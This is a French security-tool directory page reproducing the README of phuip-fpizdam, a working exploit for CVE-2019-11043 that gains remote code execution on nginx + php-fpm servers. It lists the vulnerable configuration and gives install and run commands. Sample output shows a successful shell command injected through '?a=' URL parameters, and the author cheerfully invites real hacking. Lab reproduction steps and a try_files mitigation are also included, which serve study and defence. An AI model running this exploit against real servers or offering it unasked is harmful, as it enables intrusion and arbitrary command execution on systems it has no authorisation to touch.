Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
phuip-fpizdam — Exploit pour la CVE-2019-11043 | Kitploit
Outils/GitHubGitHub/codehex083/phuip-fpizdam
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubcodehex083/phuip-fpizdam

phuip-fpizdam

Exploit pour la CVE-2019-11043

Voir le dépôt
3il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PHuiP-FPizdaM

Qu'est-ce que c'est ?

Il s'agit d'un exploit pour un bug de php-fpm (CVE-2019-11043). Dans certaines configurations nginx + php-fpm, il est possible de déclencher le bug depuis l'extérieur. Cela signifie qu'un utilisateur web peut obtenir l'exécution de code si vous avez une configuration vulnérable (voir ci-dessous).

Analyse

Alors que nous étions trop paresseux pour écrire une analyse, Orange Tsai a publié une analyse parfaite sur son blog. Chapeau à lui.

Mes slides de ZeroNights 2019 sont disponibles.

Qu'est-ce qui est vulnérable ?

Si un serveur web exécute nginx + php-fpm et que nginx a une configuration comme

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

laquelle ne comporte également aucune vérification d'existence des scripts (comme try_files), alors vous pouvez probablement le pirater avec cet exploit.

La liste complète des conditions préalables

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) doit être transféré à php-fpm (peut-être que l'expression régulière peut être plus stricte, voir #1).
  2. Il doit y avoir une affectation de la variable PATH_INFO via l'instruction fastcgi_param PATH_INFO $fastcgi_path_info;. De plus, SCRIPT_FILENAME doit être défini en utilisant fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (il peut y avoir un chemin constant au lieu de $document_root). Au début, nous pensions que ces instructions étaient toujours présentes dans le fichier fastcgi_params, mais ce n'est pas vrai.
  3. Il doit y avoir un moyen de définir PATH_INFO sur une valeur vide. Cet exploit suppose que la directive fastcgi_split_path_info est présente et contient une expression régulière commençant par ^ et se terminant par $, il essaie donc de casser l'expression régulière avec un caractère de nouvelle ligne.

N'est-ce pas connu comme étant vulnérable depuis des années ?

Il y a longtemps, php-fpm ne limitait pas les extensions des scripts, ce qui signifie qu'un chemin comme /avatar.png/some-fake-shit.php pouvait exécuter avatar.png comme script PHP. Ce problème a été corrigé vers 2010.

L'actuel ne nécessite pas d'upload de fichier, fonctionne sur les versions les plus récentes (jusqu'à ce que le correctif soit publié) et, surtout, l'exploit est beaucoup plus cool.

Comment l'exécuter

Installez-le en utilisant

root@kitploit:~
go get github.com/neex/phuip-fpizdam

Si vous obtenez d'étranges erreurs de compilation, assurez-vous d'utiliser go >= 1.13. Exécutez le programme avec phuip-fpizdam [url] (en supposant que $GOPATH/bin est dans votre $PATH, sinon précisez le chemin complet vers le binaire). Une bonne sortie ressemble à ceci :

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

Après cela, vous pouvez commencer à ajouter ?a=<your command> à tous les scripts PHP (vous aurez peut-être besoin de plusieurs essais).

Alternativement, vous pouvez utiliser une image docker pour exécuter l'exploit :

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

Environnements de test

Avec Docker

Si vous voulez reproduire le problème ou jouer avec l'exploit localement via Docker, procédez comme suit :

  1. Clonez ce dépôt et allez dans le répertoire reproducer.
  2. Créez l'image docker en utilisant docker build -t reproduce-cve-2019-11043 .. Cela prend beaucoup de temps car il clone en interne le dépôt php et le compile depuis les sources. Cependant, ce sera plus facile ainsi si vous voulez déboguer l'exploit. La révision compilée est celle qui précède immédiatement le correctif.
  3. Exécutez docker en utilisant docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
  4. Vous avez maintenant http://127.0.0.1:8080/script.php, qui est un fichier vide.
  5. Exécutez l'exploit en utilisant phuip-fpizdam http://127.0.0.1:8080/script.php
  6. Si tout va bien, vous pourrez exécuter des commandes en ajoutant ?a= au script : http://127.0.0.1:8080/script.php?a=id. Essayez plusieurs fois car seuls certains workers php-fpm sont infectés.

Avec les conteneurs système LXD

Si vous voulez reproduire le problème ou jouer avec l'exploit localement via LXD, procédez comme suit :

  1. Créez deux conteneurs système, vulnerable et attacker. Vous pouvez utiliser l'image de conteneur ubuntu:18.04 pour les deux conteneurs.
  2. Dans le conteneur vulnerable, installez nginx et php-fpm. Configurez le bloc serveur comme cette configuration. Créez un fichier vide /var/www/html/index.php.
  3. Dans le conteneur attacker, installez le langage Go (sudo snap install go --classic), clonez ce dépôt et exécutez go build dans le répertoire du dépôt.
  4. Lancez l'attaque comme suit : ./phuip-fpizdam http://vulnerable.lxd/index.php. Essayez plusieurs types afin d'infecter tous les workers php-fpm.

Pour des instructions plus détaillées, voir Tester CVE-2019-11043 (vulnérabilité de sécurité php-fpm) avec les conteneurs système LXD.

À propos de PHP5

Le buffer underflow dans php-fpm est présent dans PHP version 5. Cependant, cet exploit utilise une optimisation employée pour stocker les variables FastCGI, _fcgi_data_seg. Cette optimisation n'est présente que dans php 7, donc cet exploit particulier ne fonctionne qu'avec php 7. Il pourrait exister une autre technique d'exploitation qui fonctionne avec php 5.

Crédits

L'anomalie originale a été découverte par d90pwn pendant le Real World CTF. La cause racine (root clause) a été trouvée par moi (Emil Lerner), ainsi que la manière de définir les options de php.ini. L'ensemble final des options php.ini a été trouvé par beched.

Licence

Cet exploit est distribué sous les termes de la licence MIT.

Abstenez-vous de causer des dégâts avec cet exploit. Mais si vous piratez vraiment quelque chose avec ce truc, je serai ravi.

Télécharger l’outil
  • Cet exploit particulier suppose que PATH_INFO est défini après REQUEST_URI dans la configuration.
  • Aucune vérification d'existence des fichiers comme try_files $uri =404 ou if (-f $uri). Si Nginx abandonne les requêtes vers des scripts inexistants avant le transfert FastCGI, nos requêtes n'atteignent jamais php-fpm. Ajouter cette vérification est aussi le moyen le plus simple de corriger.
  • Cet exploit ne fonctionne que pour PHP 7+, mais le bug lui-même est présent dans les versions antérieures (voir ci-dessous).